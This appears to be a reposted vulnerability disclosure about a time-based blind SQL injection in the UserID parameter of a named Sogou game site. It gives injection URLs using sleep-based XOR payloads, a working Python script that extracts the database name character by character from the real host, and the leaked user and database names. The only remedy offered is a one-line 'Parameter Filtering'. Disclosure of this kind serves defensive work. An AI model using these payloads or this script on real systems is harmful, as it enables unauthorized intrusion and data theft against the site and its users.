Sogou SQL injection 4: MySQL injection on the game site

Source: Internet
Author: User
Tags mysql injection

Sogou SQL injection 4: MySQL injection on the game site

SQL Injection on a game substation in sogou.

 

1. MySQL injection is located at the following address, which is a time-based injection:

The UserID parameter is not filtered and can be injected:

Http://s11.ogzq2.wan.sogou.com/Interface/Interface.php? ClubID = 19119 & ClubName = aaa & OrderID = asdasdasdads & PlatForm = 0 & Point = 1000 & ServerID = 1 & sig = asdasdasdasd & type = 1 & UserID = aa "XOR (if (1, sleep (0), 0) XOR "no delay

Http://s11.ogzq2.wan.sogou.com/Interface/Interface.php? ClubID = 19119 & ClubName = aaa & OrderID = asdasdasdads & PlatForm = 0 & Point = 1000 & ServerID = 1 & sig = asdasdasdasd & type = 1 & UserID = aa "XOR (if (1, sleep (3), 0) XOR "latency



Several lines of python code to guess user ():
 

import httplibimport timeimport stringimport sysimport randomimport urllibheaders = {    'Cookie': '',    'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',}payloads = list(string.ascii_lowercase)payloads += list(string.ascii_uppercase)for i in range(0,10):    payloads.append(str(i))payloads += ['@','_', '.']print 'Current database() is:'user = ''for i in range(1,20,1):    for payload in payloads:        conn = httplib.HTTPConnection('s11.ogzq2.wan.sogou.com', timeout=30)        rand_num = str(random.random())        url = '/Interface/Interface.php?ClubID=19119&ClubName=aaa&OrderID=asdasdasdasdads&PlatForm=0&Point=1000&ServerID=1&sig=asdasdasdasd&type=1&' + \              'UserID=aa"XOR(if(ascii(mid(database(),%s,1))=%s,sleep(5),0))XOR"'  % (i, ord(payload))        start_time = time.time()        conn.request(method='GET', url=url,                     headers = headers)        conn.getresponse()        conn.close()        if time.time() - start_time > 5:            user += payload            sys.stdout.write( user + '\r' )            sys.stdout.flush()            break

 

Obtain the current database user by guessing:

Ogzq2@127.0.0.1

Current Database: OGZQ2
 


 








 

Solution:

Parameter Filtering

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.